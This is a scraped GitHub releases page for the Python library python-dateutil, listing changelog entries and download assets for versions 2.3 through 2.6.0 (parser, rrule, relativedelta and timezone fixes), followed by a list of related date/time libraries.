    • Deprecated zoneinfo.gettz() due to confusion with tz.gettz(), in favor of get() method of zoneinfo.ZoneInfoFile objects. (gh issue #11, pr #310)
    • For non-character, non-stream arguments, parser.parse now raises TypeError instead of AttributeError. (gh issues #171, #269, pr #247)
    • Fixed an issue where tzfile objects were not properly handling dst() and tzname() when attached to datetime.time objects. Reported by @ovacephaloid. (gh issue #292, pr #309)
    • /usr/share/lib/zoneinfo was added to TZPATHS for compatibility with Solaris systems. Reported by @dhduvall (gh issue #276, pr #307)
    • tzoffset and tzrange objects now accept either a number of seconds or a datetime.timedelta() object wherever previously only a number of seconds was allowed. (gh pr #264, #277)
    • datetime.timedelta objects can now be added to relativedelta objects. Reported and added by Alec Nikolas Reiter (@justanr) (gh issue #282, pr #283
    • Refactored relativedelta.weekday and rrule.weekday into a common base class to reduce code duplication. (gh issue #140, pr #311)
    • An issue where the WKST parameter was improperly rendering in str(rrule) was reported and fixed by Daniel LePage (@dplepage). (gh issue #262, pr #263)
    • A replace() method has been added to rrule objects by @jendas1, which creates new rrule with modified attributes, analogous to datetime.replace (gh pr #167)
    • Made some significant performance improvements to rrule objects in Python 2.x (gh pr #245)
    • All classes defining equality functions now return NotImplemented when compared to unsupported classes, rather than raising TypeError, to allow other classes to provide fallback support. (gh pr #236)
    • Several classes have been marked as explicitly unhashable to maintain identical behavior between Python 2 and 3. Submitted by Roy Williams (@rowillia) (gh pr #296)
    • Trailing whitespace in easter.py has been removed. Submitted by @OmgImAlexis (gh pr #299)
    • Windows-only batch files in build scripts had line endings switched to CRLF. (gh pr #237)
    • @adamchainz updated the documentation links to reflect that the canonical location for readthedocs links is now at .io, not .org. (gh pr #272)
    • Made some changes to the CI and codecov to test against newer versions of Python and pypy, and to adjust the code coverage requirements. For the moment, full pypy3 compatibility is not supported until a new release is available, due to upstream bugs in the old version affecting PEP-495 support. (gh prs #265, #266, #304, #308)
    • The full PGP signing key fingerprint was added to the README.md in favor of the previously used long-id. Reported by @valholl (gh issue #287, pr #304)
    • Updated zoneinfo to 2016i. (gh issue #298, gh pr #306)
    Source code(tar.gz)
    Source code(zip)
    python_dateutil-2.6.0-py2.py3-none-any.whl(189.83 KB)
    python_dateutil-2.6.0-py2.py3-none-any.whl.asc(801 bytes)
    python-dateutil-2.6.0.tar.gz(252.01 KB)
    python-dateutil-2.6.0.tar.gz.asc(801 bytes)
    python-dateutil-2.6.0.zip(264.01 KB)
    python-dateutil-2.6.0.zip.asc(801 bytes)
  • 2.5.3(Apr 21, 2016)

    Version 2.5.3

    • Updated zoneinfo to 2016d
    • Fixed parser bug where unambiguous datetimes fail to parse when dayfirst is set to true. (gh issue #233, pr #234)
    • Bug in zoneinfo file on platforms such as Google App Engine which do not do not allow importing of subprocess.check_call was reported and fixed by @savraj (gh issue #239, gh pr #240)
    • Fixed incorrect version in documentation (gh issue #235, pr #243)
    Source code(tar.gz)
    Source code(zip)
    python_dateutil-2.5.3-py2.py3-none-any.whl(196.79 KB)
    python_dateutil-2.5.3-py2.py3-none-any.whl.asc(819 bytes)
    python-dateutil-2.5.3.tar.gz.asc(819 bytes)
    python-dateutil-2.5.3.tar.gz(231.32 KB)
    python-dateutil-2.5.3.tar.xz.asc(819 bytes)
    python-dateutil-2.5.3.tar.xz(212.80 KB)
    python-dateutil-2.5.3.zip(237.99 KB)
    python-dateutil-2.5.3.zip.asc(819 bytes)
  • 2.5.1(Mar 17, 2016)

    • Updated zoneinfo to 2016b
    • Changed MANIFEST.in to explicitly include test suite in source distributions, with help from @koobs (gh issue #193, pr #194, #201, #221)
    • Explicitly set all line-endings to LF, except for the NEWS file, on a per-repository basis (gh pr #218)
    • Fixed an issue with improper caching behavior in rruleset objects (gh issue #104, pr #207)
    • Changed to an explicit error when rrulestr strings contain a missing BYDAY (gh issue #162, pr #211)
    • tzfile now correctly handles files containing leapcnt (although the leapcnt information is not actually used). Contributed by @hjoukl (gh issue #146, pr #147)
    • Fixed recursive import issue with tz module (gh pr #204)
    • Added compatibility between tzwin objects and datetime.time objects (gh issue #216, gh pr #219)
    • Refactored monolithic test suite by module (gh issue #61, pr #200 and #206)
    • Improved test coverage in the relativedelta module (gh pr #215)
    • Adjusted documentation to reflect possibly counter-intuitive properties of RFC-5545-compliant rrules, and other documentation improvements in the rrule module (gh issue #105, gh issue #149 - pointer to the solution by @phep, pr #213).
    Source code(tar.gz)
    Source code(zip)
    python_dateutil-2.5.1-py2.py3-none-any.whl(196.22 KB)
    python_dateutil-2.5.1-py2.py3-none-any.whl.asc(819 bytes)
    python-dateutil-2.5.1.tar.xz(211.96 KB)
    python-dateutil-2.5.1.tar.gz.asc(819 bytes)
    python-dateutil-2.5.1.tar.xz.asc(819 bytes)
    python-dateutil-2.5.1.zip(237.03 KB)
    python-dateutil-2.5.1.tar.gz(230.45 KB)
    python-dateutil-2.5.1.zip.asc(819 bytes)
  • 2.5.0(Feb 28, 2016)

    • Updated zoneinfo to 2016a
    • zoneinfo_metadata file version increased to 2.0 - the updated updatezinfo.py script will work with older zoneinfo_metadata.json files, but new metadata files will not work with older updatezinfo.py versions. Additionally, we have started hosting our own mirror of the Olson databases on a github pages site (https://dateutil.github.io/tzdata/) (gh pr #183)
    • dateutil zoneinfo tarballs now contain the full zoneinfo_metadata file used to generate them. (gh issue #27, gh pr #85)
    • relativedelta can now be safely subclassed without derived objects reverting to base relativedelta objects as a result of arithmetic operations. (lp:1010199, gh issue #44, pr #49)
    • relativedelta 'weeks' parameter can now be set and retrieved as a property of relativedelta instances. (lp: 727525, gh issue #45, pr #49)
    • relativedelta now explicitly supports fractional relative weeks, days, hours, minutes and seconds. Fractional values in absolute parameters (year, day, etc) are now deprecated. (gh issue #40, pr #190)
    • relativedelta objects previously did not use microseconds to determine of two relativedelta objects were equal. This oversight has been corrected. Contributed by @elprans (gh pr #113)
    • rrule now has an xafter() method for retrieving multiple recurrences after a specified date. (gh pr #38)
    • str(rrule) now returns an RFC2445-compliant rrule string, contributed by @schinckel and @armicron (lp:1406305, gh issue #47, prs #50, #62 and #160)
    • rrule performance under certain conditions has been significantly improved thanks to a patch contributed by @dekoza, based on an article by Brian Beck (@exogen) (gh pr #136)
    • The use of both the 'until' and 'count' parameters is now deprecated as inconsistent with RFC2445 (gh pr #62, #185)
    • Parsing an empty string will now raise a ValueError, rather than returning the datetime passed to the 'default' parameter. (gh issue #78, pr #187)
    • tzwinlocal objects now have a meaningful repr() and str() implementation (gh issue #148, prs #184 and #186)
    • Added equality logic for tzwin and tzwinlocal objects. (gh issue #151, pr #180, #184)
    • Added some flexibility in subclassing timelex, and switched the default behavior over to using string methods rather than comparing against a fixed list. (gh pr #122, #139)
    • An issue causing tzstr() to crash on Python 2.x was fixed. (lp: 1331576, gh issue #51, pr #55)
    • An issue with string encoding causing exceptions under certain circumstances when tzname() is called was fixed. (gh issue #60, #74, pr #75)
    • Parser issue where calling parse() on dates with no day specified when the day of the month in the default datetime (which is "today" if unspecified) is greater than the number of days in the parsed month was fixed (this issue tended to crop up between the 29th and 31st of the month, for obvious reasons) (canonical gh issue #25, pr #30, #191)
    • Fixed parser issue causing fuzzy_with_tokens to raise an unexpected exception in certain circumstances. Contributed by @MichaelAquilina (gh pr #91)
    • Fixed parser issue where years > 100 AD were incorrectly parsed. Contributed by @Bachmann1234 (gh pr #130)
    • Fixed parser issue where commas were not a valid separator between seconds and microseconds, preventing parsing of ISO 8601 dates. Contributed by @ryanss (gh issue #28, pr #106)
    • Fixed issue with tzwin encoding in locales with non-Latin alphabets (gh issue #92, pr #98)
    • Fixed an issue where tzwin was not being properly imported on Windows. Contributed by @labrys. (gh pr #134)
    • Fixed a problem causing issues importing zoneinfo in certain circumstances. Issue and solution contributed by @alexxv (gh issue #97, pr #99)
    • Fixed an issue where dateutil timezones were not compatible with basic time objects. One of many, many timezone related issues contributed and tested by @labrys. (gh issue #132, pr #181)
    • Fixed issue where tzwinlocal had an invalid utcoffset. (gh issue #135, pr #141, #142)
    • Fixed issue with tzwin and tzwinlocal where DST transitions were incorrectly parsed from the registry. (gh issue #143, pr #178)
    • updatezinfo.py no longer suppresses certain OSErrors. Contributed by @bjamesv (gh pr #164)
    • An issue that arose when timezone locale changes during runtime has been fixed by @carlosxl and @mjschultz (gh issue #100, prs #107, #109)
    • Python 3.5 was added to the supported platforms in the metadata (@tacaswell gh pr #159) and the test suites (@moreati gh pr #117).
    • An issue with tox failing without unittest2 installed in Python 2.6 was fixed by @moreati (gh pr #115)
    • Several deprecated functions were replaced in the tests by @moreati (gh pr #116)
    • Improved the logic in Travis and Appveyor to alleviate issues where builds were failing due to connection issues when downloading the IANA timezone files. In addition to adding our own mirror for the files (gh pr #183), the download is now retried a number of times (with a delay) (gh pr #177)
    • Many failing doctests were fixed by @moreati. (gh pr #120)
    • Many fixes to the documentation (gh pr #103, gh pr #87 from @radarhere, gh pr #154 from @gpoesia, gh pr #156 from @awsum, gh pr #168 from @ja8zyjits)
    • Added a code coverage tool to the CI to help improve the library. (gh pr #182)
    • We now have a mailing list - [email protected], graciously hosted by Python.org.
    Source code(tar.gz)
    Source code(zip)
    python_dateutil-2.5.0-py2.py3-none-any.whl(194.68 KB)
    python_dateutil-2.5.0-py2.py3-none-any.whl.asc(819 bytes)
    python-dateutil-2.5.0.tar.xz(207.90 KB)
    python-dateutil-2.5.0.zip(230.94 KB)
    python-dateutil-2.5.0.tar.gz(225.42 KB)
    python-dateutil-2.5.0.zip.asc(543 bytes)
    python-dateutil-2.5.0.tar.gz.asc(543 bytes)
    python-dateutil-2.5.0.tar.xz.asc(543 bytes)
  • 2.4.2(Mar 31, 2015)

    • Updated zoneinfo to 2015b.
    • Fixed issue with parsing of tzstr on Python 2.7.x; tzstr will now be decoded if not a unicode type. gh #51 (lp:1331576), gh pr #55.
    • Fix a parser issue where AM and PM tokens were showing up in fuzzy date stamps, triggering inappropriate errors. gh #56 (lp: 1428895), gh pr #63.
    • Missing function "setcachsize" removed from zoneinfo all list by @ryanss, fixing an issue with wildcard imports of dateutil.zoneinfo. (gh pr #66).
    • (PyPi only) Fix an issue with source distributions not including the test suite.
    Source code(tar.gz)
    Source code(zip)
  • 2.4.1(Mar 5, 2015)

    • Added explicit check for valid hours if AM/PM is specified in parser. (gh pr #22, issue #21)
    • Fix bug in rrule introduced in 2.4.0 where byweekday parameter was not handled properly. (gh pr #35, issue #34)
    • Fix error where parser allowed some invalid dates, overwriting existing hours with the last 2-digit number in the string. (gh pr #32, issue #31)
    • Fix and add test for Python 2.x compatibility with boolean checking of relativedelta objects. Implemented by @nimasmi (gh pr #43) and Cédric Krier (lp: 1035038)
    • Replaced parse() calls with explicit datetime objects in unit tests unrelated to parser. (gh pr #36)
    • Changed private _byxxx from sets to sorted tuples and fixed one currently unreachable bug in _construct_byset. (gh pr #54)
    • Additional documentation for parser (gh pr #29, #33, #41) and rrule.
    • Formatting fixes to documentation of rrule and README.rst.
    • Updated zoneinfo to 2015a.
    Source code(tar.gz)
    Source code(zip)
  • 2.4.0(Mar 5, 2015)

    • Fix an issue with relativedelta and freezegun (lp:1374022)
    • Fix tzinfo in windows for timezones without dst (lp:1010050, gh #2)
    • Ignore missing timezones in windows like in POSIX
    • Fix minimal version requirement for six (gh #6)
    • Many rrule changes and fixes by @pganssle (gh pull requests #13 #14 #17), including defusing some infinite loops (gh #4)
    Source code(tar.gz)
    Source code(zip)
  • 2.3(Mar 5, 2015)

    • Cleanup directory structure, moved test.py to dateutil/tests/test.py
    • Changed many aspects of dealing with the zone info file. Instead of a cache, all the zones are loaded to memory, but symbolic links are loaded only once, so not much memory is used.
    • The package is now zip-safe, and universal-wheelable, thanks to changes in the handling of the zoneinfo file.
    • Fixed tzwin silently not imported on windows python2
    • New maintainer, together with new hosting: GitHub, Travis, Read-The-Docs
    Source code(tar.gz)
    Source code(zip)
Owner
null
PyTime is an easy-use Python module which aims to operate date/time/datetime by string.

PyTime PyTime is an easy-use Python module which aims to operate date/time/datetime by string. PyTime allows you using nonregular datetime string to g

Sinux 148 Dec 9, 2022
Make Python datetime formatting human readable

Make Python datetime formatting human readable

James Timmins 0 Oct 3, 2021
A datetime parser in Python by Ari24-cb24 and NekoFantic

datetimeparser A datetime parser in Python by Ari24-cb24 and NekoFantic V 1.0 Erinnerung für den Parser Auf falsche Eingaben überprüfen Liste an Event

AriDevelopment 13 Dec 30, 2022
Croniter provides iteration for the datetime object with a cron like format

Introduction Contents Introduction Travis badge Usage About DST About second repeats Testing if a date matches a crontab Gaps between date matches Ite

kiorky 152 Dec 30, 2022
A Python 3 library for parsing human-written times and dates

Chronyk A small Python 3 library containing some handy tools for handling time, especially when it comes to interfacing with those pesky humans. Featu

Felix Wiegand 339 Dec 19, 2022
A Python library for dealing with dates

moment A Python library for dealing with dates/times. Inspired by Moment.js and Kenneth Reitz's Requests library. Ideas were also taken from the Times

Zach Williams 709 Dec 9, 2022
Python datetimes made easy

Pendulum Python datetimes made easy. Supports Python 2.7 and 3.4+. >>> import pendulum >>> now_in_paris = pendulum.now('Europe/Paris') >>> now_in_par

Sébastien Eustace 5.3k Jan 6, 2023
Friendly Python Dates

When.py: Friendly Dates and Times Production: Development: User-friendly functions to help perform common date and time actions. Usage To get the syst

Andy Dirnberger 191 Oct 14, 2022
Better dates & times for Python

Arrow: Better dates & times for Python Arrow is a Python library that offers a sensible and human-friendly approach to creating, manipulating, formatt

Arrow 8.2k Jan 5, 2023
python parser for human readable dates

Python parser for human readable dates Key Features • How To Use • Installation • Common use cases • You may also like... • License Key Features Suppo

Scrapinghub 2.2k Jan 8, 2023
pytz Python historical timezone library and database

pytz Brings the IANA tz database into Python. This library allows accurate and cross platform timezone calculations. pytz contains generated code, and

Stub 236 Jan 3, 2023
Generate and work with holidays in Python

python-holidays A fast, efficient Python library for generating country, province and state specific sets of holidays on the fly. It aims to make dete

Maurizio Montel 881 Dec 29, 2022
A Python module that tries to figure out what your local timezone is

tzlocal This Python module returns a tzinfo object with the local timezone information under Unix and Windows. It requires either Python 3.9+ or the b

Lennart Regebro 159 Dec 16, 2022
darts is a Python library for easy manipulation and forecasting of time series.

A python library for easy manipulation and forecasting of time series.

Unit8 5.2k Jan 1, 2023
A simple digital clock made with the help of python

Digital-Clock ⏰ Description ?? ✔️ A simple digital clock made with the help of python. The code is easy to understand and implement. With this reposit

Mohit 0 Dec 10, 2021
A simple in-process python scheduler library, designed to be integrated seamlessly with the `datetime` standard library.

scheduler A simple in-process python scheduler library, designed to be integrated seamlessly with the datetime standard library. Due to the support of

null 30 Dec 30, 2022
DRF-extensions is a collection of custom extensions for Django REST Framework

Django REST Framework extensions DRF-extensions is a collection of custom extensions for Django REST Framework Full documentation for project is avail

Gennady Chibisov 1.3k Dec 28, 2022
A Python library that tees the standard output & standard error from the current process to files on disk, while preserving terminal semantics

A Python library that tees the standard output & standard error from the current process to files on disk, while preserving terminal semantics (so breakpoint(), etc work as normal)

Greg Brockman 7 Nov 30, 2022
Dear PyGui Extensions is a collection of useful tools, abstractions, and simplification layers built with/for Dear PyGui users.

Dear PyGui Extensions: A collection of useful tools, abstractions, and simplification layers built with/for Dear PyGui users.

Jonathan Hoffstadt 34 Jan 1, 2023
Some useful extensions for Matplotlib.

mplx Some useful extensions for Matplotlib. Contour plots for functions with discontinuities plt.contour mplx.contour(max_jump=1.0) Matplotlib has pro

Nico Schlömer 519 Dec 30, 2022